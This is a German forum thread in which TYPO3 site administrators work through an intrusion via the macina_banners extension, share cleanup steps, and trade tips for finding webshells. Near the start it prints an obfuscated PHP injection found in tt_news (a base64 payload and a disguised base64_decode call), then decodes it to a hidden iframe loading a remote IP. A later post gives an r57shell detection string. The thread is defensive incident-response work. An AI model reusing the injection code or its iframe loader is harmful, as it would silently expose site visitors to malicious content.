Ich bemerkte, dass trotz des macina_banners-Update weiterhin irgendwie die Adresse alexa-ranking.info aufgerufen wurde, wenn man die Seite öffnete. Ich suchte mich fast blind. Da mir auffiel, dass der Schadcode nur im Quelltext bestimmter Seiten auftauchte, suchte ich nach deren Gemeinsamkeiten. Das Problem verschwand, als ich das (ohnehin nicht benötigte) "table-based tmpl (tt_news)" aus einem der Seiten-Templates entfernte.
Anschließend knöpfte ich mir den Code von tt_news vor. In der Datei /tt_news/pi/class.tx_ttnews.php fand ich etwas Ungewöhnliches:
/**
* Class for unzipping ZIP files and store them into database.
*
* @author Kasper Skårhøj <kasper@typo3.com>
*/
$form = 'PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmV2YWwodW5lc2NhcGUoJyU2NCU2R'.
'iU2MyU3NSU2RCU2NSU2RSU3NCUyRSU3NyU3MiU2OSU3NCU2NSUyOCUyNyUzQyU2OSU2Ni'.
'U3MiU2MSU2RCU2NSUyMCU3MyU3MiU2MyUzRCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMCU'.
'3OCU2MyU2MiU2NCU2NiUzOSU2NiUzNiUzOSUyRiU2QyU2OSU2MiU3MiU2MSU3MiU2OSU2'.
'NSU3MyUyRiU2OSU2NiU3MiU2MSU2RCU2NSUyRSU3MCU2OCU3MCUyMCU3MyU3NCU3OSU2Q'.
'yU2NSUzRCUyMiU2NCU2OSU3MyU3MCU2QyU2MSU3OSUzQSU2RSU2RiU2RSU2NSUyMiUzRS'.
'UzQyUyRiU2OSU2NiU3MiU2MSU2RCU2NSUzRSUyNyUyOSUzQicpKTs8L3NjcmlwdD4=';
for($i=0,$r=rand(512,1024);$i<$r;$i++)
{
echo ' ';
}
echo call_user_func(''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.'b'.''.''.'a'.''.''.''.'s'.''.''.''.''.''.'e'.''.''.''.'6'.''.''.''.''.'4'.'_'.'d'.''.'e'.''.'c'.''.''.'o'.''.''.''.'d'.''.''.''.'e', $form);
for($i=0,$r=rand(512,1024);$i<$r;$i++)
{
echo ' ';
}
Das Entfernen dieses Codes beseitigte das Problem. Anschließend durchsuchte ich weitere Extensions nach Teilen dieses Codes und wurde schließlich noch in indexed_search/class.internal_parser.php fündig.
Kann mal einer übersetzen? :p
Sorry, die aufgerufene Domain lautet nicht alexa-ranking.info sondern alexa-rank.info.
Habs selbst dekodiert...übersetzt heißt die Zeichenkette:
<script type="text/javascript">eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%30%78%63%62%64%66%39%66%36%39%2F%6C%69%62%72%61%72%69%65%73%2F%69%66%72%61%6D%65%2E%70%68%70%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B'));</script>
wobei %64%6F%63%... wiederum heißt:
document.write('<iframe src=http://0xcbdf9f69/libraries/iframe.php style="display:none"></iframe>');
und 0xcbdf9f69 wiederum ergibt 203.223.159.105, eine IP in Malaysia.
Hallo,
bitte behaltet im Hinterkopf, dass alle wichtigen neuen Erkenntnisse, die mit diesen Einbrüchen zusammenhängen, auch für das TYPO3 Security Team von großem Interesse sind. Also: Detailanalysen mit Neuigkeiten bitte auch auf Englisch an das Security Team schicken und nicht nur hier posten. Denn nicht alle Security Team Mitglieder sprechen Deutsch.
http://typo3.org/teams/security/
Vielen Dank! #giggle#
Viele Grüße
hepi
Hi georg,
Danke für die Antwort, aber ich habe schon den ganzen Thread gelesen. Mir geht es um meine nicht-deutschsprachigen Kollegen im Security Team, die nicht den ganzen Thread lesen können.
Mir geht es auch darum, dass NEUE Erkenntnisse, die noch nicht im Thread stehen, zunächst an das Security Team gemeldet werden, bevor sie publiziert werden.
Gruß
hepi (Henning Pingel)
Ist es denn ausreichend, das Modul macina_banners auf Version 1.5.0 zu updaten?
Woran kann ich eindeutig erkennen, dass meine Installation bereits infiziert wurde?
Moeglicherweise liegt der Infekt ja vor, wurde jedoch einfach noch nicht genutzt.
Ich werde jetzt erst einmal die Passwoerter neu setzen.
danke,
Patrick
Hi all,
auf typo3.org gibt es inzwischen eine Zusammenfassung der Erkenntnisse des TYPO3 Security Teams zu diesen Angriffen, nämlich unter
http://buzz.typo3.org/teams/security/article/massive-web-server-hacks-iframe-attacks-now-extended-to-typo3/
(deutsch unter
http://www.naw.info/blogs/typo3security/2007/07/03/angriffswelle-gegen-webserver-iframe-attacken-nun-auch-typo3)
greets
/Ekki
__________________
Ekkehard Gümbel
naw.info net&works Internet Services GmbH, Hannover
http://www.naw.info
Wie sollte man eigentlich vorgehen um seine Server wieder vor diesem Problem zu sichern?
1. Alle macina_banners Ext. deinstallieren bzw. auf 1.4.1 zu updaten.
(mit find -type d macina_banners) findet man schnell raus aif welchen web´s die Ext. sind.
2. Alle Dateien nach den bekannten Strings, encodierte wie decodierte durchsuchen (grep -r etc.) und entfernen.
3. Alle temp_cached* Dateien löschen und neu generieren lassen.
Das ist was mir dazu einfällt. Was sollte man noch tun?
Sollte man alle Typo3 Admin Passwörter ändern? Oder besser gleich auch sämtliche Redakteurs Zugänge?
Ich würde auf Nummer sicher gehen und ein altes Backup einspielen...
nickno schrieb
Ich würde auf Nummer sicher gehen und ein altes Backup einspielen...
Wenn man über 100 Web´s auf einem Server hat und Redakteure über viele Typo3 Installationen täglich munter Content produzieren, ist das nicht wirklich praktikabel. Die müssten ja dann alle wieder auf dem Stand vor z.B. 4 Wochen anfangen.
Besteht denn grundsätzlich die Möglichkeit, daß durch den SQL-Inject weitere Schadsoftware als "Hintertürchen" installiert wurde? Und wenn ja, ist da vielleicht was bekannt? Mich würde auch interessieren wie man es schafft MD5 verschlüsselte Passörter zu knacken. Mit BruteForce sollten PW mit dem Format z.B. x4GH9nm! nicht so einfach zu hacken sein.
Also wenn ich die Aussage von Jan Radecker:
Die SQL-Injection-Schwachstelle ermöglichte es per Brute-Force und ein wenig SQL-Magie z.B. aus der Tabelle be_users einen Admin-User samt MD5-Passwort auszulesen.
richtig interpretiere. Hat der Angreifer "nur" den Admin Benutzernamen und den MD5 Hash des Passwortes ausgelesen und nicht das Passwort mittels Bruteforce geknackt. Oder?! In dem Fall kann der Angreifer bei Schliessen der macina_banners Lücke mit seinen Daten ja nichts mehr anfangen. #paralyzed#
Über SQL-Injection kann man sich z.B. selbst als Admin in der Datenbank eintragen, da braucht man kein Passwort zu knacken.
Als Admin kann man z.B. beliebige (selbst geschriebene) Extensions installieren.
Wenn es irgendwie geht, sollte man versuchen festzustellen, über welchen Weg der Angreifer Zugriff auf den Server bekommen hat. Es muss nicht unbedingt oder nur macina_banners gewesen sein.
Ideal wäre eine genaue Analyse der Server Logfiles aus der Zeit vor dem Entdecken des Einbruchs.
In den meisten Fällen wurden auf den betroffenen Systemen mehrere Webshells installiert (und teilweise sehr gut getarnt). Wenn man nicht alle findet, hat der Angreifer nach wie vor Zugriff auf den Rechner.
Gerade wenn man über 100 Webs auf dem Server hat, muss man sich einige Zeit nehmen, um das System genau zu analysieren (und auch künftig zu überwachen).
Jochen Weiland
Twinstar schrieb
Wie sollte man eigentlich vorgehen um seine Server wieder vor diesem Problem zu sichern?
Hallo Twinstar,
ekki sagt doch eigentlich alles Wichtige in seinem Blog, ich zitiere mal:
"Sichergehen, dass alle Änderungen (in Datenbanken und Dateien) rückgängig gemacht sind und keine Hintertür das Hackers mehr offenbleibt. Um es offen zu sagen - dies ist SEHR schwer, genaugenommen müßte man sogar sagen: unmöglich.
Meine dringende Empfehlung ist daher, das System aus intakter Datensicherung komplett neu aufzusetzen!"
Er sagt auch, dass es beinahe unmöglich ist, das System wieder "keimfrei" zu bekommen. Will heißen: Es kann keine Anleitung geben, wie man vorgehen soll, sondern nur Hinweise, wonach man suchen soll. Aber die beste Vorgehensweise ist, selbst nach Ungewöhnlichem zu suchen. Du bist hier halt Dein eigener "Privatdetektiv".
Wir haben es hier nicht mit der Behebung von Softwarefehlern, sondern mit intelligentem Leben zu tun. Menschen versuchen, etwas vor anderen Menschen zu verstecken. Hier gibt es leider keine Pauschal-Rezepte.
Alles, was momentan bekannt und hilfreich ist, steht in Ekkis Blog.
Viele Grüße
Henning Pingel
jweiland schrieb
In den meisten Fällen wurden auf den betroffenen Systemen mehrere Webshells installiert (und teilweise sehr gut getarnt).
Gibt es öffentliche Informationen darüber welche Webshells das waren und wie man sie finden kann?
hepi schrieb
Twinstar schrieb
Wie sollte man eigentlich vorgehen um seine Server wieder vor diesem Problem zu sichern?
Aber die beste Vorgehensweise ist, selbst nach Ungewöhnlichem zu suchen. Du bist hier halt Dein eigener "Privatdetektiv".
Verstehe. Dann schnüffel ich mal weiter im Dateienwald. 😉
Twinstar schrieb
Gibt es öffentliche Informationen darüber welche Webshells das waren und wie man sie finden kann?
Ekki nennt in seinem Blog zwei Web Shells beim Namen - und auch einen speziellen User Agent String. Ekki serviert alles auf dem goldenen Tablett.
Gruß
Henning Pingel
hepi schrieb
Twinstar schrieb
Gibt es öffentliche Informationen darüber welche Webshells das waren und wie man sie finden kann?
Ekki nennt in seinem Blog zwei Web Shells beim Namen - und auch einen speziellen User Agent String. Ekki serviert alles auf dem goldenen Tablett.
Gruß
Henning Pingel
Gut, also wenn man den Code der Webshells kennt kann man wenigstens Dateien danach durchsuchen lassen. Dann such ich mir jetzt erstmal den Code dieser Shells.
Twinstar schrieb
Gut, also wenn man den Code der Webshells kennt kann man wenigstens Dateien danach durchsuchen lassen. Dann such ich mir jetzt erstmal den Code dieser Shells.
Für die Suche nach einer r57shell im Dateisystem bietet sich beispielsweise folgender Suchstring an:
"Use reverse (user -> resu) login for password"
Das ist aber auch nur ein Tipp, der WAHRSCHEINLICH hilft, mehr nicht. Wenn Hacker merken, dass alle nach einem bestimmten String suchen, werden sie irgendwann diesen String aus Ihren Scripts löschen.
Gruß
Henning Pingel
hepi schrieb
Twinstar schrieb
Gut, also wenn man den Code der Webshells kennt kann man wenigstens Dateien danach durchsuchen lassen. Dann such ich mir jetzt erstmal den Code dieser Shells.
Wenn Hacker merken, dass alle nach einem bestimmten String suchen, werden sie irgendwann diesen String aus Ihren Scripts löschen.
Gruß
Henning Pingel
Bin dankbar für jeden Ansatz mit dem man weiter arbeiten kann.
hepi schrieb
Twinstar schrieb
Gut, also wenn man den Code der Webshells kennt kann man wenigstens Dateien danach durchsuchen lassen. Dann such ich mir jetzt erstmal den Code dieser Shells.
Für die Suche nach einer r57shell im Dateisystem bietet sich beispielsweise folgender Suchstring an:
"Use reverse (user -> resu) login for password"
Das ist aber auch nur ein Tipp, der WAHRSCHEINLICH hilft, mehr nicht. Wenn Hacker merken, dass alle nach einem bestimmten String suchen, werden sie irgendwann diesen String aus Ihren Scripts löschen.
Gruß
Henning Pingel
Aber ein guter Tipp. Den den Schnipsel habe ich gerade in einem Gästebuch entdeckt. Bloss gut ... o.O